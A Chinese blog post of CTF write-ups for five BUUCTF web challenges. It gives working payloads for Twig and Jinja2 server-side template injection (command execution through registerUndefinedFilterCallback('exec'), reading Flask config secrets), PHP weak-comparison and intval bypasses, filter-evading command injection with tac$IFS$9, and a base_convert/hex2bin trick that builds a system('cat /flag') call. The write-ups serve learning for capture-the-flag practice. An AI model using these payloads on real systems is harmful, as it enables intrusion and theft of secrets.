BUUCTF 个人做题记录【6-27】

8 篇文章 0 订阅

目录

1.[BJDCTF2020]Cookie is so stable1

2.[WUSTCTF2020]朴实无华1

3.[ASIS 2019]Unicorn shop 1

4.[CISCN 2019 初赛]Love Math1

5.[WesternCTF2018]shrine 1


1.[BJDCTF2020]Cookie is so stable1

有两个界面,Flag和Hint

Flag 

 Hint

利用点在Flag,随便输入一个id,抓包看看

 用ssti模板注入试试,

尝试{{7*7}}, 返回49

尝试{{7*'7'}},返回49,说明是Twig模板,但是如果返回7777777,则说明是Jinia2模板

本题是Twig模板

参考:(4条消息) [BJDCTF2020]Cookie is so stable_Sk1y的博客-CSDN博客

 7*7这个算式被系统执行了,在页面上返回计算结果,加入{{}}里的不是算式,而是代码呢?

试试

命令没有被执行,猜测存在过滤,又或许是另一种注入方式

一篇文章带你理解漏洞之 SSTI 漏洞 | K0rz3n's Blog

 payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}

{{_self.env.getFilter("id")}}

2.[WUSTCTF2020]朴实无华1

 还是抓包

没有收获,那就扫目录用dirsearch扫,为节省建议只扫常见的目录,配置是:

./dirsearch.py -e bak,zip,txt,tgz,php -u http:.....  -s 3 -t 20

调线程是为了防止扫太快导致有些敏感目录扫不出来

求快也可以只用御剑,虽然也能扫,但不建议。

目录扫描会扫到一个robots.txt

在这里插入图片描述

 访问

再访问

假的?抓包看看有没有可用的信息

 

此地无银三百两,访问看看

 

这就找到了源码,接着代码审计

 

GET方式传入三个参数

1.num:intval(num<2020)&&intval(num+1)>2021

intval函数获取字符(串)的数字,而如果参数是一个算术表达式,会先将所有的参数都化为数字,再进行数值计算

<?php
    $a = '2e4';
    var_dump($a);
    var_dump(intval($a));
    $b = $a + 1;
    echo $b."\n";
    var_dump($b);
    var_dump(intval($b));
 

 结果

string(3) "2e4"
int(2)
20001
float(20001)
int(20001)

payload1:

num=2e4

2.md5:md5==md5(md5)

看到==,就想到了php弱比较,php会将以0x开头的字符串,当进行==弱比较时,会认为是相同的。

所以就变成了找到一个以0x开头的字符串s,并且md5(s)也是以0x开头的字符串。

   //第二个md5绕过
    $c = "0e215962017";
    echo "$c"."\n";
    $d = md5($c);
    echo "$d"."\n";
    if ($c==$d)
        echo "成功绕过"."\n";
0e215962017
0e291242476940776845150308577824
成功绕过

 payload2:

md5=0e215962017

3.get_flag

strstr() 函数搜索字符串在另一字符串中的第一次出现,并且返回字符串的剩余部分。如果找不到要找的字符串,则返回false.

str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。

不能有cat和空格,否则会被替换为wctf2020,用tac代替,空格用$IFS$9代替,先ls查看当前目录下的文件

接着查看

关于tac

cat 和 tac 都是Linux打印文件的命令,但是cat是从第一行至最后一行顺序打印,而tac是最后一行至第一行反向打印。

本地测试

首先再一个文件夹中创建两个文件,flag和a.php

<?php
//a.php
 
	system("ls");
	echo "<br>";
	system("cat flag");
	echo "<br>"; 
	system("tac flag");
?>

flag文件

//flag文件
这是flag
1
2
3

结果

 paylaod3:

get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

参考博客:

(4条消息) [WUSTCTF2020]朴实无华_Sk1y的博客-CSDN博客 

3.[ASIS 2019]Unicorn shop 1

 

ID输入1,2,3,Price填对应的价格,结果是这样的

 

ID输入4,Price它的价格,结果是这样的

 这有点特殊,只允许输入一个字符,这个字符代表的数字大于等于1337,那就看看有那个字符代表的字符是大于等于1337的(很多)

链接:Unicode - Compart

比如,在搜索框中输入million,

 这个字符代表的数字是100000,绝对够了

给的太多了,那换thousand

给10000试试

 

 

4.[CISCN 2019 初赛]Love Math1

源码的意思,就是要我们用白名单里的数学函数,构造出一条等价于cat /flag的命令,同时不能出现黑名单里的字符,字符总长度不超过80

参考:(4条消息) [CISCN 2019 初赛]Love Math 1_succ3的博客-CSDN博客

我们可以用变量拼接,那么如何拼接呢?我们可以看一下下面这个函数,里面可以有36进制,也就是说我们可以得到任意小写字母,那么我们就可以尝试构造_GET,但是这需要大写字母,而在php中有个hex2bin可以把16进制转换为字符串,可以通过hex2bin来构造_GET。且hex2bin可以这么构造base_convert(37907361743,10,36),意思是把37907361743转换为36进制,也就是hex2bin
 

 在这里插入图片描述

那么问题又来了,怎么得到_GET的16进制呢?我们可以通过一个数学函数dechex,它可以把十进制转十六进制,构造dechex(1598506324),十六进制是5f474554

$pi=base_convert(37907361743,10,36)(dechex(1598506324))
//分解
//$pi=base_convert(37907361743,10,36)(5f474554)
//$pi=hex2bin(5f474554)
//$pi=_GET

 现在我们就可以通过变量代换来构造payload。

​
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
//$$pi=$_GET
//{pi}==[pi],这里的pi为我们要填的shell
//(($$pi){abs})同理
//&pi=system&abs=cat /flag,把这句命令分两部分传参,因为空格被过滤了,只能构造两个get传参

​

 

 

 

5.[WesternCTF2018]shrine 1

打开看到的页面就是源码,整理一下

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) 
        + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

题目存在ssti漏洞,框架是flask,在/shrine路径下测试一下ssti,

/shrine/{{1+1}}

 下面分析源码:

app.config['FLAG'] = os.environ.pop('FLAG')

注册了一个名为FLAG的config,猜测这就是flag,如果没有过滤可以直接{{config}}即可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号

return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

上面这行代码把黑名单的东西遍历并设为空,也就是不能有名为config和def的参数,但如果这两个字符串作为非参数传入(例如参数值)则不受影响

Python中常用于ssti的魔术方法
__class__:返回类型所属的对象
__mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__:返回该对象所继承的基类// __base__和__mro__都是用来寻找基类的
__subclasses__:每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__:类的初始化方法
__globals__:对包含函数全局变量的字典的引用
__builtins__:builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块.
 

在Flask框架渲染模板时,可以直接在模板中使用的模板变量及函数:config、request、url_for()、get_flashed_messages()。

url_for()函数查看flag
我们可以使用flask框架的url_for函数:from flask import url_for。
url_for()作用:
(1)给指定的函数构造 URL。
(2)访问静态文件(CSS、JavaScript等)。只要在你的包中或是模块的所在目录中创建一个名为static的文件夹,在应用中使用 /static即可访问。
所以我们可以用url_for函数来查看当前包中所有的静态文件,其中肯定就包括了配置文件。
先查看url_for函数的全局变量的字典的引用

/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}

 get_flashed_messages()函数查看flag
  返回之前在Flask中通过flash()函数传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages()方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
  flask闪现是基于flask内置的session的,利用浏览器的session缓存闪现信息。之前的每次flash()函数都会缓存一个信息,之后再通过get_flashed_messages()函数访问缓存的信息。
  flash()函数有三种形式缓存数据:
(1)缓存字符串内容。
设置闪现内容:flash(‘恭喜您登录成功’)
模板取出闪现内容:{% with messages = get_flashed_messages() %}
(2)缓存默认键值对。当闪现一个消息时,是可以提供一个分类的。未指定分类时默认的分类为 ‘message’ 。
设置闪现内容:flash(‘恭喜您登录成功’,“status”)
模板取出闪现内容:{% with messages = get_flashed_messages(with_categories=true) %}
(3)缓存自定义键值对。
设置闪现内容:flash(‘您的账户名为admin’,“username”)
模板取出闪现内容:{% with messages = get_flashed_messages(category_filter=[“username”])
所以我们可以通过get_flashed_messages()来获取所有缓存的闪现内容:


/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

 

参考博客:

(4条消息) [WesternCTF2018]shrine_浩歌已行的博客-CSDN博客_shrine

(4条消息) XCTF-攻防世界CTF平台-Web类——16、shrine(Flask框架之Jinja2模板渲染引擎、查看app.config[‘FLAG‘])_大灬白的博客-CSDN博客

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值